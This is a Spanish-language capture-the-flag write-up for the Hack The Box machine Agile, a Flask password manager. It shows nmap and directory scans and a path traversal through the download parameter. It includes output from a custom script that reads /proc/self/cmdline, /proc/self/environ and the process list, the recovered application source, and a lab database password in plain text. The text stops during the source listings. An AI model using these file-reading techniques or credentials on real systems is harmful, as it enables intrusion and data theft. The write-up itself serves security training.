This page looks best with JavaScript enabled

Hack The Box - Agile

En Agile explotamos una vulnerabilidad que nos permitio el acceso al codigo fuente de la aplicacion Flask y a su vez obtener acceso a la maquina tras generar Werkzeug Console PIN. Credenciales encontradas en una base de datos nos ayudaron a cambiar a un primer usuario. Mediante Chrome Remote Debugger logramos obtener credenciales de un segundo usuario. Finalmente escalamos privilegios con una vulnerabilidad en sudoedit.

Nombre Agile box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.203
Maker

0xdf

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 5.8, 5.5, 4.5, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Mon Mar 13 23:06:19 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.203
Nmap scan report for 10.10.11.203
Host is up (0.082s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 13 23:06:30 2023 -- 1 IP address (1 host up) scanned in 10.09 seconds

Web Site

El sitio redirige hacia el dominio superpass.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/agile ❯ curl -sI 10.10.11.203
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 14 Mar 2023 03:07:02 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://superpass.htb

 π ~/htb/agile ❯

Segun la informacion del sitio, ofrece un manejador de contrasenas.

image

Observamos las diferentes tecnologias utilizadas por el sitio.

image

Directory Brute Forcing

feroxbuster muestra dos direcciones interesantes download y vault, asi mismo se muestra el parametro next que comunmente es utilizado por flask.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/agile ❯ feroxbuster -u http://superpass.htb/ -w $MD --depth 2 -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://superpass.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      131l      307w     6128c http://superpass.htb/
302      GET        5l       22w      249c http://superpass.htb/download => http://superpass.htb/account/login?next=%2Fdownload
301      GET        7l       12w      178c http://superpass.htb/static => http://superpass.htb/static/
301      GET        7l       12w      178c http://superpass.htb/static/img => http://superpass.htb/static/img/
301      GET        7l       12w      178c http://superpass.htb/static/css => http://superpass.htb/static/css/
301      GET        7l       12w      178c http://superpass.htb/static/js => http://superpass.htb/static/js/
302      GET        5l       22w      243c http://superpass.htb/vault => http://superpass.htb/account/login?next=%2Fvault

Web - User

Creamos un nuevo usuario en el sitio.

image

Tras dar a registrar nos redirige a la direccion /vault donde podemos administrar contrasenas, la contrasena se genera automaticamente y es editable.

image

Tiene la opcion de “exportar” contrasenas, esta opcion permite descargar todas las contrasenas del usuario en un archivo .csv.

image

Path Traversal -> User

Tras modificar el valor del parametro fn en /download, observamos que es posible realizar la lectura de archivos locales.

image

Tras generar un error, enviando la direccion de un archivo que no existe, se observa que la aplicacion esta en modo debug y nos muestra el directorio completo donde se almacena, en este caso las vistas.

image

Source Code

Tras analizar el archivo vault_views.py, este, nos guio hacia diferentes archivos, que, al final nos permitieron obtener el codigo fuente de la aplicacion, no en su totalidad, pero si como para poder entender el funcionamiento y estructura de la misma. Se presenta la estructura de los archivos que logramos obtener que mas adelante se muestra el como se obtuvieron.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
├───app
│   │   conf_prod.json        # custom
│   │   pyvenv.cfg
│   │   requirements.txt
│   │   wsgi.py 
│   │
│   └───superpass
│       │   __init__.py
│       │   app.py
│       │
│       ├───data
│       │       db_session.py
│       │       modelbase.py
│       │       password.py
│       │       user.py
│       │
│       ├───infrastructure
│       │       view_modifiers.py
│       │
│       ├───services
│       │       password_service.py
│       │       user_service.py
│       │       utility_service.py
│       │
│       └───views
│               account_views.py
│               home_views.py
│               vault_views.py

Para entender un poco de como se logro obtener el codigo fuente de los archivos anteriores, observamos como son importadas las diferentes funciones en el archivo views_vault.py, en este caso vemos que la funcion get_random() esta en el archivo utility_service.py que a su vez esta dentro de la carpeta services/, en el paquete superpass/. Lo cual generaria la siguiente direccion completa /app/app/superpass/services/utility_service.py

1
2
3
4
5
6
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

[ ... ]

La direccion anterior es correcta y obtenemos el codigo fuente de dicho archivo. De esta manera obtuvimos la mayoria de archivos, exeptuando los archivos con el comentario ‘custom’.

image

Python

Para poder realizar la lectura de archivos de manera mas rapida creamos un script el cual nos permitia realizar la lectura de una direccion dada, asi mismo utilizamos dicho script para poder obtener informacion de los diferentes procesos en ejecucion de la maquina.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
 π ~/htb/agile ❯ pipenv run python agile.py --npid 3000
[....\...] Fetching information: current pid 742
    [+] pid: 1
    [+] command: /sbin/init\x00
    [+] pid: 485
    [+] command: /lib/systemd/systemd-journald\x00
    [+] pid: 528
    [+] command: /sbin/multipathd\x00d\x00s\x00
    [+] pid: 531
    [+] command: /lib/systemd/systemd-udevd\x00
    [+] pid: 532
    [+] command: /sbin/multipathd\x00d\x00s\x00
    [+] pid: 533

[ ... ]

    [+] pid: 537
    [+] command: /sbin/multipathd\x00d\x00s\x00
    [+] pid: 562
    [+] command: /lib/systemd/systemd-timesyncd\x00
    [+] pid: 563
    [+] command: /sbin/auditd\x00
    [+] pid: 564
    [+] command: /sbin/auditd\x00
    [+] pid: 565
    [+] command: /usr/local/sbin/laurel\x00-config\x00etc/laurel/config.toml\x00
    [+] pid: 566
    [+] command: /sbin/auditd\x00
    [+] pid: 588
    [+] command: /lib/systemd/systemd-networkd\x00
    [+] pid: 596
    [+] command: /usr/bin/VGAuthService\x00
    [+] pid: 597
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 604
    [+] command: /lib/systemd/systemd-resolved\x00
    [+] pid: 631
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 632
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 634
    [+] command: /usr/bin/vmtoolsd\x00
    [+] pid: 741
    [+] command: /sbin/dhclient\x001\x004\x00v\x00i\x00pf\x00run/dhclient.eth0.pid\x00lf\x00var/lib/dhcp/dhclient.eth0.leases\x00I\x00df\x00var/lib/dhcp/dhclient6.eth0.leases\x00th0\x00
    [+] pid: 742
    [+] command: /sbin/dhclient\x001\x004\x00v\x00i\x00pf\x00run/dhclient.eth0.pid\x00lf\x00var/lib/dhcp/dhclient.eth0.leases\x00I\x00df\x00var/lib/dhcp/dhclient6.eth0.leases\x00th0\x00
    [+] pid: 743
    [+] command: /sbin/dhclient\x001\x004\x00v\x00i\x00pf\x00run/dhclient.eth0.pid\x00lf\x00var/lib/dhcp/dhclient.eth0.leases\x00I\x00df\x00var/lib/dhcp/dhclient6.eth0.leases\x00th0\x00
    [+] pid: 744
    [+] command: /sbin/dhclient\x001\x004\x00v\x00i\x00pf\x00run/dhclient.eth0.pid\x00lf\x00var/lib/dhcp/dhclient.eth0.leases\x00I\x00df\x00var/lib/dhcp/dhclient6.eth0.leases\x00th0\x00
    [+] pid: 781
    [+] command: @dbus-daemon\x00-system\x00-address=systemd:\x00-nofork\x00-nopidfile\x00-systemd-activation\x00-syslog-only\x00
    [+] pid: 789
    [+] command: /usr/bin/python3\x00usr/bin/networkd-dispatcher\x00-run-startup-triggers\x00
    [+] pid: 795
    [+] command: /lib/systemd/systemd-logind\x00
    [+] pid: 914
    [+] command: /lib/systemd/systemd-timesyncd\x00
    [+] pid: 992
    [+] command: /usr/sbin/cron\x00f\x00P\x00
    [+] pid: 999
    [+] command: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups\x00
    [+] pid: 1016
    [+] command: /sbin/agetty\x00o\x00p -- \u\x00-noclear\x00ty1\x00inux\x00
    [+] pid: 1018
    [+] command: nginx: master process /usr/sbin/nginx -g daemon on; master_process on;\x00
    [+] pid: 1019
    [+] command: nginx: worker process\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    [+] pid: 1020
    [+] command: nginx: worker process\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
    [+] pid: 1021
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1028

[ ... ]

    [+] pid: 1070
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1071
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5555\x00sgi-dev:app\x00
    [+] pid: 1072
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1074
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5555\x00sgi-dev:app\x00
    [+] pid: 1075
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1078
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1079
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1112
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1193
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1219
    [+] command: /usr/sbin/mysqld\x00
    [+] pid: 1636
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1846
    [+] command: /lib/systemd/systemd\x00-user\x00
    [+] pid: 1847
    [+] command: (sd-pam)\x00
    [+] pid: 1927
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1928
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1929
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1930
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1931
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1932
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1933
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
    [+] pid: 1934
    [+] command: /app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00

Obtuvimos informacion de /proc/self/cmdline la cual nos mostro el comando en ejecucion de la aplicacion.

1
2
3
4
5
 π ~/htb/agile ❯ pipenv run python agile.py --read /proc/self/cmdline
[*] File: /proc/self/cmdline

/app/venv/bin/python3\x00app/venv/bin/gunicorn\x00-bind\x0027.0.0.1:5000\x00-threads=10\x00-timeout\x0000\x00sgi:app\x00
 π ~/htb/agile ❯

Observamos que gunicorn esta siendo ejecutado, para la lectura del archivo config_prod.json, nos referimos al post How To Serve Flask Applications with Gunicorn … en el cual explican como es posible desplegar una app en flask, con la informacion sobre el servicio creado, la replicamos en la maquina adivinando el nombre del servicio, con ello encontramos la informacion de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# /etc/systemd/system/myproject.service --> ../etc/systemd/system/superpass.service
[Unit]
Description=Superpass password manager
After=network.target

[Service]
User=www-data
Group=www-data
Environment=CONFIG_PATH=/app/config_prod.json
WorkingDirectory=/app/app/
ExecStart=/app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app
Restart=always
StandardError=syslog

[Install]
WantedBy=multi-user.target

Lo anterior nos refirio al archivo config_prod.json.

1
2
3
4
// /app/config_prod.json
{
    "SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"
}

Encontramos que tambien es posible obtener el archivo anteriror con /proc/self/environ.

1
2
3
4
5
 π ~/htb/agile ❯ pipenv run python agile.py --read /proc/self/environ
[*] File: /proc/self/environ

LANG=C.UTF-8\x00ATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin\x00OME=/var/www\x00OGNAME=www-data\x00SER=www-data\x00NVOCATION_ID=0cfb2816664f4bca969c72cd4a6ecc03\x00OURNAL_STREAM=8:32979\x00YSTEMD_EXEC_PID=1072\x00ONFIG_PATH=/app/config_prod.json\x00
 π ~/htb/agile ❯

En el siguiente expand me se presenta el codigo fuente de la aplicacion, al menos de los archivos encontrados. Tras analizar el codigo fuente no logramos identificar alguna vulnerabilidad dentro de la aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# /app/app/requirements.txt
flask
sqlalchemy
passlib
flask-login
jinja-partials
cryptography
pytest
selenium
uwsgi
pymysql
1
2
3
4
5
6
7
# /app/app/wsgi.py
from superpass.app import app, main, enable_debug

enable_debug()

if __name__ == "__main__":
    main()
1
2
3
4
# /app/venv/pyvenv.cfg
home = /usr/bin
include-system-site-packages = false
version = 3.10.6
1
2
3
{
    "SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# /app/app/superpass/app.py
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)


def register_blueprints():
    from superpass.views import home_views
    from superpass.views import vault_views
    from superpass.views import account_views
    
    app.register_blueprint(home_views.blueprint)
    app.register_blueprint(vault_views.blueprint)
    app.register_blueprint(account_views.blueprint)


def setup_db():
    db_session.global_init(app.config['SQL_URI'])


def configure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view = 'account.login_get'
    login_manager.init_app(app)

    from superpass.data.user import User

    @login_manager.user_loader
    def load_user(user_id):
        from superpass.services.user_service import get_user_by_id
        return get_user_by_id(user_id)


def configure_template_options():
    jinja_partials.register_extensions(app)
    helpers = {
        'len': len,
        'str': str,
        'type': type,
    }
    app.jinja_env.globals.update(**helpers)


def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v


def configure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()


def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True

def main():
    print(dir(app.wsgi_app.pin))
    print(app.wsgi_app.pin)
    enable_debug()
    configure()
    app.run(debug=True)


def dev():
    configure()
    app.run(port=5555)


if __name__ == '__main__':
    main()
else:
    configure()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
# /app/app/superpass/views/vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password


blueprint = flask.Blueprint('vault', __name__, template_folder='templates')


@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}


@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    return {"p": p}


@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        return ''

    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)


@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password, current_user.id)

    return {"p": p}


@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
    password_service.delete_password(id, current_user.id)
    return ''


@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"
    

@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# /app/app/superpass/views/home_views.py
import flask
from superpass.infrastructure.view_modifiers import response

blueprint = flask.Blueprint('home', __name__, template_folder='templates')

@blueprint.route('/')
@response(template_file='home/index.html')
def index():
    return {}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# /app/app/superpass/views/account_views.py
import flask
import string
from flask_login import login_user, logout_user
from superpass.infrastructure.view_modifiers import response
from superpass.services import user_service

blueprint = flask.Blueprint('account', __name__, template_folder='templates')


@blueprint.route('/account/register', methods=['GET'])
@response(template_file='account/register.html')
def register_get():
    return {}


@blueprint.route('/account/register', methods=['POST'])
@response(template_file='account/register.html')
def register_post():
    r = flask.request
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not username or not password:
        return {
            'error': 'Please fill in username and password',
            'username': username
        }

    if len([c for c in username if c not in string.ascii_letters + string.digits]) > 0:
        return {
            'error': 'Please use only letters and numbers in usernames',
            'username': username,
        }

    user = user_service.create_user(username, password)
    if not user:
        return {
            'error': 'User already exists',
            'username': username,
        }

    login_user(user, remember=True)
    return flask.redirect('/vault')


@blueprint.route('/account/login', methods=['GET'])
@response(template_file='account/login.html')
def login_get():
    return{}


@blueprint.route('/account/login', methods=['POST'])
@response(template_file='account/login.html')
def login_post():
    
    r = flask.request
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not username or not password:
        return {
            'error': 'Please fill in username and password',
            'username': username
        }

    user = user_service.login_user(username, password)

    if not user:
        return {
            'error': 'Login failed',
            'username': username,
        }

    login_user(user, remember=True)
    return flask.redirect(flask.url_for('vault.vault'))


@blueprint.route('/account/logout')
def logout():
    logout_user()
    return flask.redirect(flask.url_for('home.index'))
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# /app/app/superpass/services/password_service.py

import csv
import datetime
import sqlalchemy as sa
import superpass.data.db_session as db_session
from superpass.data.password import Password
from superpass.data.user import User
from superpass.services.utility_service import get_random
from typing import Optional

def get_passwords_for_user(userid: int):

    session = db_session.create_session()
    user = session.query(User) \
        .options(sa.orm.joinedload(User.passwords))\
        .filter(User.id == userid) \
        .first()

    session.close()

    return user.passwords


def get_password_by_id(id: int, userid: int) -> Optional[Password]:

    session = db_session.create_session()
    password = session.query(Password)\
        .filter(
            Password.id == id,
            Password.user_id == userid
        ).first()

    session.close()

    return password


def add_password(site, username, password, userid):

    p = Password(url=site, username=username, password=password, user_id=userid)

    session = db_session.create_session()
    session.add(p)
    session.commit()
    session.close()

    return p


def delete_password(pid, userid: int):

    session = db_session.create_session()
    p = session.query(Password).filter(Password.id == pid, Password.user_id == userid).first()
    if p:
        session.delete(p)
        session.commit()
    session.close()


def update_password(pid, site, username, password, userid: int):

    session = db_session.create_session()
    p = session.query(Password).filter(Password.id == pid, Password.user_id == userid).first()
    if p:
        p.url = site
        p.username = username
        p.password = password
        p.last_updated = datetime.datetime.now()
        session.add(p)
        session.commit()
    session.close()

    return p


def generate_csv(user):

    rand = get_random(10)
    fn = f'{user.username}_export_{rand}.csv'
    path = f'/tmp/{fn}'

    header = ['Site', 'Username', 'Password']
    
    session = db_session.create_session()
    passwords = session.query(Password) \
        .filter(Password.user_id == user.id) \
        .all()
    session.close()

    with open(path, 'w') as f:
        writer = csv.writer(f)
        writer.writerow(header)
        writer.writerows((p.get_dict().values() for p in passwords))
 
    return fn
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# /app/app/superpass/services/user_service.py

from typing import Optional
from superpass.data.user import User
from superpass.data import db_session
from passlib.handlers.sha2_crypt import sha512_crypt as hasher

def create_user(username: str, password: str) -> Optional[User]:

    if get_user_by_name(username):
        return None

    user = User()
    user.username = username
    user.hashed_password = hasher.encrypt(password, rounds=200000)

    session = db_session.create_session()
    session.add(user)
    session.commit()
    session.close()
    
    return user


def login_user(username: str, password: str) -> Optional[User]:
    session = db_session.create_session()
    user = session.query(User).filter(User.username == username).first()

    if user and hasher.verify(password, user.hashed_password):
        session.close()
        return user
    session.close()
    return None


def get_user_by_name(username: str) -> Optional[User]:
    session = db_session.create_session()
    tmp = session.query(User).filter(User.username == username).first()
    session.close()
    return tmp


def get_user_by_id(uid: int) -> Optional[User]:
    session = db_session.create_session()
    tmp = session.query(User).filter(User.id == uid).first()
    session.close()
    return tmp
1
2
3
4
5
6
7
# /app/app/superpass/services/utility_service.py

import datetime
import hashlib

def get_random(chars=20):
    return hashlib.md5(str(datetime.datetime.now()).encode() + b"SeCReT?!").hexdigest()[:chars]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# /app/app/superpass/infrastructure/view_modifiers.py
from functools import wraps

import flask
from flask_login import current_user
import werkzeug
import werkzeug.wrappers


def response(*, mimetype: str = None, template_file: str = None):
    def response_inner(f):
        #print(f"Wrapping in response {f.__name__}", flush=True)

        @wraps(f)
        def view_method(*args, **kwargs):
            response_val = f(*args, **kwargs)

            if isinstance(response_val, werkzeug.wrappers.Response):
                return response_val

            if isinstance(response_val, flask.Response):
                return response_val

            if isinstance(response_val, dict):
                model = dict(response_val)
            else:
                model = dict()

            model['current_user'] = current_user

            if template_file and not isinstance(response_val, dict):
                raise Exception(
                    f"Invalid return type {type(response_val)}, we expected a dict as the return value.")

            if template_file:
                response_val = flask.render_template(template_file, **response_val)

            resp = flask.make_response(response_val)
            resp.model = model
            if mimetype:
                resp.mimetype = mimetype

            return resp

        return view_method

    return response_inner
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# /app/app/superpass/data/user.py
from flask_login import UserMixin
import sqlalchemy as sa
from sqlalchemy import orm
from typing import List
from superpass.services import password_service
from superpass.data.modelbase import SqlAlchemyBase
from superpass.data.password import Password


class User(UserMixin, SqlAlchemyBase):
    __tablename__ = 'users'

    id = sa.Column(sa.Integer, primary_key=True, autoincrement=True)
    username = sa.Column(sa.String(256), nullable=False)
    hashed_password = sa.Column(sa.String(256), nullable=False)
    
    passwords: List[Password] = orm.relation("Password", back_populates='user')
    

    def __repr__(self):
        return f'<User {self.username}>'

    
    @property
    def has_passwords(self):
        return len(password_service.get_passwords_for_user(self.id)) > 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# /app/app/superpass/data/password.py
import datetime
import sqlalchemy as sa
from sqlalchemy import orm
from superpass.data.modelbase import SqlAlchemyBase

class Password(SqlAlchemyBase):
    __tablename__ = "passwords"

    id = sa.Column(sa.Integer, primary_key=True, autoincrement=True)
    created_date = sa.Column(sa.DateTime, default=datetime.datetime.now)
    last_updated_data = sa.Column(sa.DateTime, default=datetime.datetime.now)
    url = sa.Column(sa.String(256))
    username = sa.Column(sa.String(256))
    password = sa.Column(sa.String(256))
    
    user_id = sa.Column(sa.Integer, sa.ForeignKey("users.id"))
    user = orm.relation('User')

    def __repr__(self):
        return f'<Password {self.url}: {self.username} / {"*" * len(self.password)}>'


    def get_dict(self):
        return {"url": self.url, "username": self.username, "password": self.password}
1
2
3
4
# /app/app/superpass/data/modelbase.py
import sqlalchemy.ext.declarative as dec

SqlAlchemyBase = dec.declarative_base()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
